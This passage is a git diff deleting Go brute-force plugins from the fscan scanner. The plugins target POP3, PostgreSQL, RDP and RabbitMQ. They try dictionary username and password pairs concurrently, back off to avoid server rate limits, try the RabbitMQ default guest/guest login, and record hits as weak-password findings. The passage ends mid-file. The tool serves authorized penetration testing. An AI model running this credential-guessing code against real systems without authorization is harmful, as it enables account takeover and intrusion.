concurrentPOP3Scan 并发扫描POP3服务(包含速率限制) -func concurrentPOP3Scan(ctx context.Context, info *common.HostInfo, credentials []POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult { - // 不使用ModuleThreadNum控制并发数,必须单线程 - maxConcurrent := 1 - if maxConcurrent <= 0 { - maxConcurrent = 1 // POP3默认并发更低 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *POP3ScanResult, 1) - - // 创建限速通道,控制请求频率 - // 每次发送前需要从中获取令牌,确保请求间隔 - rateLimiter := make(chan struct{}, maxConcurrent) - - // 初始填充令牌 - for i := 0; i < maxConcurrent; i++ { - rateLimiter <- struct{}{} - } - - // 使用动态的请求间隔 - requestInterval := 1500 * time.Millisecond // 默认间隔1.5秒 - - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 创建任务队列 - taskQueue := make(chan POP3Credential, len(credentials)) - for _, cred := range credentials { - taskQueue <- cred - } - close(taskQueue) - - // 记录已处理的凭据数 - var processedCount int32 - processedCountMutex := &sync.Mutex{} - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func(workerID int) { - defer wg.Done() - - for credential := range taskQueue { - select { - case <-scanCtx.Done(): - return - case <-rateLimiter: - // 获取令牌,可以发送请求 - processedCountMutex.Lock() - processedCount++ - currentCount := processedCount - processedCountMutex.Unlock() - - common.LogDebug(fmt.Sprintf("[%d/%d] 工作线程 %d 尝试: %s:%s", - currentCount, len(credentials), workerID, credential.Username, credential.Password)) - - result := tryPOP3Credential(scanCtx, info, credential, timeoutSeconds, maxRetries) - - // 尝试完成后添加延迟,然后归还令牌 - time.Sleep(requestInterval) - - // 未被取消的情况下归还令牌 - select { - case <-scanCtx.Done(): - // 如果已经取消,不再归还令牌 - default: - rateLimiter <- struct{}{} - } - - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }(i) - } - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("POP3并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryPOP3Credential 尝试单个POP3凭据 -func tryPOP3Credential(ctx context.Context, info *common.HostInfo, credential POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &POP3ScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - // 重试间隔时间增加,避免触发服务器限制 - retryDelay := time.Duration(retry*2000) * time.Millisecond - time.Sleep(retryDelay) - } - - // 创建连接超时上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - success, isTLS, err := POP3Conn(connCtx, info, credential.Username, credential.Password) - cancel() - - if success { - return &POP3ScanResult{ - Success: true, - Credential: credential, - IsTLS: isTLS, - } - } - - lastErr = err - if err != nil { - // 处理特定错误情况 - if strings.Contains(strings.ToLower(err.Error()), "too many connections") || - strings.Contains(strings.ToLower(err.Error()), "connection refused") || - strings.Contains(strings.ToLower(err.Error()), "timeout") { - // 服务器可能限制连接,增加等待时间 - waitTime := time.Duration((retry+1)*3000) * time.Millisecond - common.LogDebug(fmt.Sprintf("服务器可能限制连接,等待 %v 后重试", waitTime)) - time.Sleep(waitTime) - continue - } - - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &POP3ScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// POP3Conn 尝试POP3连接 -func POP3Conn(ctx context.Context, info *common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) { - timeout := time.Duration(common.Timeout) * time.Second - addr := fmt.Sprintf("%s:%s", info.Host, info.Ports) - - // 创建结果通道 - resultChan := make(chan struct { - success bool - isTLS bool - err error - }, 1) - - // 在协程中尝试连接,支持取消 - go func() { - // 首先尝试普通连接 - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) - if err == nil { - flag, authErr := tryPOP3Auth(conn, user, pass, timeout) - conn.Close() - if authErr == nil && flag { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - isTLS bool - err error - }{flag, false, nil}: - } - return - } - } - - // 如果普通连接失败,尝试TLS连接 - select { - case <-ctx.Done(): - return - default: - } - - tlsConfig := &tls.Config{ - InsecureSkipVerify: true, - } - // 对于TLS连接,暂时使用标准dialer - // TODO: 实现通过socks代理的TLS连接 - tempDialer := &net.Dialer{Timeout: timeout} - tlsConn, tlsErr := tls.DialWithDialer(tempDialer, "tcp", addr, tlsConfig) - if tlsErr != nil { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - isTLS bool - err error - }{false, false, fmt.Errorf("连接失败: %v", tlsErr)}: - } - return - } - defer tlsConn.Close() - - flag, authErr := tryPOP3Auth(tlsConn, user, pass, timeout) - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - isTLS bool - err error - }{flag, true, authErr}: - } - }() - - // 等待结果或上下文取消 - select { - case result := <-resultChan: - return result.success, result.isTLS, result.err - case <-ctx.Done(): - return false, false, ctx.Err() - } -} - -// tryPOP3Auth 尝试POP3认证 -func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) { - reader := bufio.NewReader(conn) - - // 设置较长的超时时间以适应一些较慢的服务器 - conn.SetDeadline(time.Now().Add(timeout)) - - // 读取欢迎信息 - response, err := reader.ReadString('\n') - if err != nil { - return false, fmt.Errorf("读取欢迎消息失败: %v", err) - } - - // 检查是否有错误信息 - if strings.Contains(strings.ToLower(response), "error") || - strings.Contains(strings.ToLower(response), "too many") { - return false, fmt.Errorf("服务器拒绝连接: %s", strings.TrimSpace(response)) - } - - // 发送用户名前等待一小段时间 - time.Sleep(300 * time.Millisecond) - - // 发送用户名 - conn.SetDeadline(time.Now().Add(timeout)) - _, err = conn.Write([]byte(fmt.Sprintf("USER %s\r\n", user))) - if err != nil { - return false, fmt.Errorf("发送用户名失败: %v", err) - } - - // 读取用户名响应 - conn.SetDeadline(time.Now().Add(timeout)) - response, err = reader.ReadString('\n') - if err != nil { - return false, fmt.Errorf("读取用户名响应失败: %v", err) - } - if !strings.Contains(response, "+OK") { - return false, fmt.Errorf("用户名无效: %s", strings.TrimSpace(response)) - } - - // 发送密码前等待一小段时间 - time.Sleep(300 * time.Millisecond) - - // 发送密码 - conn.SetDeadline(time.Now().Add(timeout)) - _, err = conn.Write([]byte(fmt.Sprintf("PASS %s\r\n", pass))) - if err != nil { - return false, fmt.Errorf("发送密码失败: %v", err) - } - - // 读取密码响应 - conn.SetDeadline(time.Now().Add(timeout)) - response, err = reader.ReadString('\n') - if err != nil { - return false, fmt.Errorf("读取密码响应失败: %v", err) - } - - if strings.Contains(response, "+OK") { - return true, nil - } - - return false, fmt.Errorf("认证失败: %s", strings.TrimSpace(response)) -} - -// savePOP3Result 保存POP3扫描结果 -func savePOP3Result(info *common.HostInfo, target string, result *POP3ScanResult) { - tlsStatus := "" - if result.IsTLS { - tlsStatus = " (TLS)" - } - - successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v%s", - target, result.Credential.Username, result.Credential.Password, tlsStatus) - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "pop3", - "username": result.Credential.Username, - "password": result.Credential.Password, - "type": "weak-password", - "tls": result.IsTLS, - }, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go deleted file mode 100644 index e917e3c..0000000 --- a/Plugins/Postgres.go +++ /dev/null @@ -1,320 +0,0 @@ -package Plugins - -import ( - "context" - "database/sql" - "database/sql/driver" - "fmt" - "net" - "strings" - "sync" - "time" - - "github.com/lib/pq" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// PostgresProxyDialer 自定义dialer结构体 -type PostgresProxyDialer struct { - timeout time.Duration -} - -// Dial 实现pq.Dialer接口,支持socks代理 -func (d *PostgresProxyDialer) Dial(network, address string) (net.Conn, error) { - return common.WrapperTcpWithTimeout(network, address, d.timeout) -} - -// DialTimeout 实现具有超时的连接 -func (d *PostgresProxyDialer) DialTimeout(network, address string, timeout time.Duration) (net.Conn, error) { - return common.WrapperTcpWithTimeout(network, address, timeout) -} - -// PostgresCredential 表示一个PostgreSQL凭据 -type PostgresCredential struct { - Username string - Password string -} - -// PostgresScanResult 表示PostgreSQL扫描结果 -type PostgresScanResult struct { - Success bool - Error error - Credential PostgresCredential -} - -// PostgresScan 执行PostgreSQL服务扫描 -func PostgresScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 构建凭据列表 - var credentials []PostgresCredential - for _, user := range common.Userdict["postgresql"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, PostgresCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["postgresql"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentPostgresScan(ctx, info, credentials, common.Timeout+10, common.MaxRetries) - if result != nil { - // 记录成功结果 - savePostgresResult(info, target, result.Credential) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("PostgreSQL扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) - return nil - } -} - -// concurrentPostgresScan 并发扫描PostgreSQL服务 -func concurrentPostgresScan(ctx context.Context, info *common.HostInfo, credentials []PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *PostgresScanResult, 1) - workChan := make(chan PostgresCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryPostgresCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("PostgreSQL并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryPostgresCredential 尝试单个PostgreSQL凭据 -func tryPostgresCredential(ctx context.Context, info *common.HostInfo, credential PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &PostgresScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建单个连接超时的上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - success, err := PostgresConn(connCtx, info, credential.Username, credential.Password) - cancel() - - if success { - return &PostgresScanResult{ - Success: true, - Credential: credential, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &PostgresScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// PostgresConn 尝试PostgreSQL连接 -func PostgresConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) { - // 构造连接字符串 - connStr := fmt.Sprintf( - "postgres://%v:%v@%v:%v/postgres?sslmode=disable&connect_timeout=%d", - user, pass, info.Host, info.Ports, common.Timeout/1000, // 转换为秒 - ) - - // 检查是否需要使用socks代理 - if common.Socks5Proxy != "" { - // 使用自定义dialer通过socks代理连接 - dialer := &PostgresProxyDialer{ - timeout: time.Duration(common.Timeout) * time.Millisecond, - } - - // 使用pq.DialOpen通过自定义dialer建立连接 - conn, err := pq.DialOpen(dialer, connStr) - if err != nil { - return false, err - } - defer conn.Close() - - // 转换为sql.DB进行测试 - db := sql.OpenDB(&postgresConnector{conn: conn}) - defer db.Close() - - // 使用上下文测试连接 - err = db.PingContext(ctx) - if err != nil { - return false, err - } - - // 简单查询测试权限 - var version string - err = db.QueryRowContext(ctx, "SELECT version()").Scan(&version) - if err != nil { - return false, err - } - - return true, nil - } - - // 使用标准连接方式 - db, err := sql.Open("postgres", connStr) - if err != nil { - return false, err - } - defer db.Close() - - // 设置连接参数 - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Millisecond) - db.SetMaxOpenConns(1) - db.SetMaxIdleConns(0) - - // 使用上下文测试连接 - err = db.PingContext(ctx) - if err != nil { - return false, err - } - - // 简单查询测试权限 - var version string - err = db.QueryRowContext(ctx, "SELECT version()").Scan(&version) - if err != nil { - return false, err - } - - return true, nil -} - -// postgresConnector 封装driver.Conn为sql.driver.Connector -type postgresConnector struct { - conn driver.Conn -} - -func (c *postgresConnector) Connect(ctx context.Context) (driver.Conn, error) { - return c.conn, nil -} - -func (c *postgresConnector) Driver() driver.Driver { - return &pq.Driver{} -} - -// savePostgresResult 保存PostgreSQL扫描结果 -func savePostgresResult(info *common.HostInfo, target string, credential PostgresCredential) { - successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v", - target, credential.Username, credential.Password) - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "postgresql", - "username": credential.Username, - "password": credential.Password, - "type": "weak-password", - }, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/RDP.go b/Plugins/RDP.go deleted file mode 100644 index a987629..0000000 --- a/Plugins/RDP.go +++ /dev/null @@ -1,401 +0,0 @@ -package Plugins - -import ( - "context" - "errors" - "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - "github.com/tomatome/grdp/core" - "github.com/tomatome/grdp/glog" - "github.com/tomatome/grdp/protocol/nla" - "github.com/tomatome/grdp/protocol/pdu" - "github.com/tomatome/grdp/protocol/rfb" - "github.com/tomatome/grdp/protocol/sec" - "github.com/tomatome/grdp/protocol/t125" - "github.com/tomatome/grdp/protocol/tpkt" - "github.com/tomatome/grdp/protocol/x224" - "log" - "net" - "os" - "strconv" - "strings" - "sync" - "time" -) - -// RDPCredential 表示一个RDP凭据 -type RDPCredential struct { - Username string - Password string - Domain string -} - -// RDPScanResult 表示RDP扫描结果 -type RDPScanResult struct { - Success bool - Error error - Credential RDPCredential -} - -// RdpScan 执行RDP服务扫描 -func RdpScan(info *common.HostInfo) error { - defer func() { - if r := recover(); r != nil { - common.LogError(fmt.Sprintf("RDP扫描panic: %v", r)) - } - }() - - if common.DisableBrute { - return nil - } - - port, _ := strconv.Atoi(info.Ports) - target := fmt.Sprintf("%v:%v", info.Host, port) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 构建凭据列表 - var credentials []RDPCredential - for _, user := range common.Userdict["rdp"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, RDPCredential{ - Username: user, - Password: actualPass, - Domain: common.Domain, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["rdp"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentRdpScan(ctx, info, credentials, port, common.Timeout) - if result != nil { - // 记录成功结果 - saveRdpResult(info, target, port, result.Credential) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("RDP扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) - return nil - } -} - -// concurrentRdpScan 并发扫描RDP服务 -func concurrentRdpScan(ctx context.Context, info *common.HostInfo, credentials []RDPCredential, port int, timeoutSeconds int64) *RDPScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *RDPScanResult, 1) - workChan := make(chan RDPCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryRdpCredential(scanCtx, info.Host, credential, port, timeoutSeconds) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("RDP并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryRdpCredential 尝试单个RDP凭据 -func tryRdpCredential(ctx context.Context, host string, credential RDPCredential, port int, timeoutSeconds int64) *RDPScanResult { - // 创建结果通道 - resultChan := make(chan *RDPScanResult, 1) - - // 在协程中进行连接尝试 - go func() { - success, err := RdpConn(host, credential.Domain, credential.Username, credential.Password, port, timeoutSeconds) - - select { - case <-ctx.Done(): - // 上下文已取消,不返回结果 - case resultChan <- &RDPScanResult{ - Success: success, - Error: err, - Credential: credential, - }: - // 成功发送结果 - } - }() - - // 等待结果或上下文取消 - select { - case result := <-resultChan: - return result - case <-ctx.Done(): - return &RDPScanResult{ - Success: false, - Error: ctx.Err(), - Credential: credential, - } - case <-time.After(time.Duration(timeoutSeconds) * time.Second): - // 单个连接超时 - return &RDPScanResult{ - Success: false, - Error: fmt.Errorf("连接超时"), - Credential: credential, - } - } -} - -// RdpConn 尝试RDP连接 -func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) { - defer func() { - if r := recover(); r != nil { - glog.Error("RDP连接panic:", r) - } - }() - - target := fmt.Sprintf("%s:%d", ip, port) - - // 创建RDP客户端 - client := NewClient(target, glog.NONE) - if err := client.Login(domain, user, password, timeout); err != nil { - return false, err - } - - return true, nil -} - -// saveRdpResult 保存RDP扫描结果 -func saveRdpResult(info *common.HostInfo, target string, port int, credential RDPCredential) { - var successMsg string - - if credential.Domain != "" { - successMsg = fmt.Sprintf("RDP %v Domain: %v\\%v Password: %v", - target, credential.Domain, credential.Username, credential.Password) - } else { - successMsg = fmt.Sprintf("RDP %v Username: %v Password: %v", - target, credential.Username, credential.Password) - } - - common.LogSuccess(successMsg) - - // 保存结果 - details := map[string]interface{}{ - "port": port, - "service": "rdp", - "username": credential.Username, - "password": credential.Password, - "type": "weak-password", - } - - if credential.Domain != "" { - details["domain"] = credential.Domain - } - - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: details, - } - common.SaveResult(vulnResult) -} - -// Client RDP客户端结构 -type Client struct { - Host string // 服务地址(ip:port) - tpkt *tpkt.TPKT // TPKT协议层 - x224 *x224.X224 // X224协议层 - mcs *t125.MCSClient // MCS协议层 - sec *sec.Client // 安全层 - pdu *pdu.Client // PDU协议层 - vnc *rfb.RFB // VNC协议(可选) -} - -// NewClient 创建新的RDP客户端 -func NewClient(host string, logLevel glog.LEVEL) *Client { - // 配置日志 - glog.SetLevel(logLevel) - logger := log.New(os.Stdout, "", 0) - glog.SetLogger(logger) - - return &Client{ - Host: host, - } -} - -// Login 执行RDP登录 -func (g *Client) Login(domain, user, pwd string, timeout int64) error { - // 建立TCP连接 - conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) - if err != nil { - return fmt.Errorf("[连接错误] %v", err) - } - defer conn.Close() - glog.Info(conn.LocalAddr().String()) - - // 初始化协议栈 - g.initProtocolStack(conn, domain, user, pwd) - - // 建立X224连接 - if err = g.x224.Connect(); err != nil { - return fmt.Errorf("[X224连接错误] %v", err) - } - glog.Info("等待连接建立...") - - // 等待连接完成 - wg := &sync.WaitGroup{} - breakFlag := false - wg.Add(1) - - // 设置事件处理器 - g.setupEventHandlers(wg, &breakFlag, &err) - - // 添加额外的超时保护 - connectionDone := make(chan struct{}) - go func() { - wg.Wait() - close(connectionDone) - }() - - select { - case <-connectionDone: - // 连接过程正常完成 - return err - case <-time.After(time.Duration(timeout) * time.Second): - // 超时 - if !breakFlag { - breakFlag = true - wg.Done() - } - return fmt.Errorf("连接超时") - } -} - -// initProtocolStack 初始化RDP协议栈 -func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) { - // 创建协议层实例 - g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) - g.x224 = x224.New(g.tpkt) - g.mcs = t125.NewMCSClient(g.x224) - g.sec = sec.NewClient(g.mcs) - g.pdu = pdu.NewClient(g.sec) - - // 设置认证信息 - g.sec.SetUser(user) - g.sec.SetPwd(pwd) - g.sec.SetDomain(domain) - - // 配置协议层关联 - g.tpkt.SetFastPathListener(g.sec) - g.sec.SetFastPathListener(g.pdu) - g.pdu.SetFastPathSender(g.tpkt) -} - -// setupEventHandlers 设置PDU事件处理器 -func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) { - // 错误处理 - g.pdu.On("error", func(e error) { - *err = e - glog.Error("错误:", e) - g.pdu.Emit("done") - }) - - // 连接关闭 - g.pdu.On("close", func() { - *err = errors.New("连接关闭") - glog.Info("连接已关闭") - g.pdu.Emit("done") - }) - - // 连接成功 - g.pdu.On("success", func() { - *err = nil - glog.Info("连接成功") - g.pdu.Emit("done") - }) - - // 连接就绪 - g.pdu.On("ready", func() { - glog.Info("连接就绪") - g.pdu.Emit("done") - }) - - // 屏幕更新 - g.pdu.On("update", func(rectangles []pdu.BitmapData) { - glog.Info("屏幕更新:", rectangles) - }) - - // 完成处理 - g.pdu.On("done", func() { - if !*breakFlag { - *breakFlag = true - wg.Done() - } - }) -} diff --git a/Plugins/RabbitMQ.go b/Plugins/RabbitMQ.go deleted file mode 100644 index 83f5c06..0000000 --- a/Plugins/RabbitMQ.go +++ /dev/null @@ -1,309 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - amqp "github.com/rabbitmq/amqp091-go" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - "net" - "strings" - "sync" - "time" -) - -// RabbitMQCredential 表示一个RabbitMQ凭据 -type RabbitMQCredential struct { - Username string - Password string -} - -// RabbitMQScanResult 表示扫描结果 -type RabbitMQScanResult struct { - Success bool - Error error - Credential RabbitMQCredential - ErrorMsg string // 保存详细的错误信息 -} - -// RabbitMQScan 执行 RabbitMQ 服务扫描 -func RabbitMQScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 先测试默认账号 guest/guest - common.LogDebug("尝试默认账号 guest/guest") - defaultCredential := RabbitMQCredential{Username: "guest", Password: "guest"} - defaultResult := tryRabbitMQCredential(ctx, info, defaultCredential, common.Timeout, common.MaxRetries) - - if defaultResult.Success { - saveRabbitMQResult(info, target, defaultResult.Credential) - return nil - } else if defaultResult.Error != nil { - // 打印默认账号的详细错误信息 - common.LogDebug(fmt.Sprintf("默认账号 guest/guest 失败,详细错误: %s", defaultResult.ErrorMsg)) - } - - // 构建其他凭据列表 - var credentials []RabbitMQCredential - for _, user := range common.Userdict["rabbitmq"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, RabbitMQCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["rabbitmq"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentRabbitMQScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveRabbitMQResult(info, target, result.Credential) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("RabbitMQ扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认账号 - return nil - } -} - -// concurrentRabbitMQScan 并发扫描RabbitMQ服务 -func concurrentRabbitMQScan(ctx context.Context, info *common.HostInfo, credentials []RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *RabbitMQScanResult, 1) - workChan := make(chan RabbitMQCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryRabbitMQCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("RabbitMQ并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryRabbitMQCredential 尝试单个RabbitMQ凭据 -func tryRabbitMQCredential(ctx context.Context, info *common.HostInfo, credential RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult { - var lastErr error - var errorMsg string - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &RabbitMQScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - ErrorMsg: "全局超时", - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建连接超时上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - success, err, detailErr := RabbitMQConn(connCtx, info, credential.Username, credential.Password) - cancel() - - if success { - return &RabbitMQScanResult{ - Success: true, - Credential: credential, - } - } - - lastErr = err - errorMsg = detailErr - - // 打印详细的错误信息,包括所有原始错误信息 - common.LogDebug(fmt.Sprintf("凭据 %s:%s 失败,错误详情: %s", - credential.Username, credential.Password, errorMsg)) - - if err != nil { - // 可以根据错误信息类型来决定是否需要重试 - // 例如,如果错误是认证错误,则无需重试 - if strings.Contains(errorMsg, "ACCESS_REFUSED") { - common.LogDebug("认证错误,无需重试") - break - } - - // 检查是否需要重试 - if retryErr := 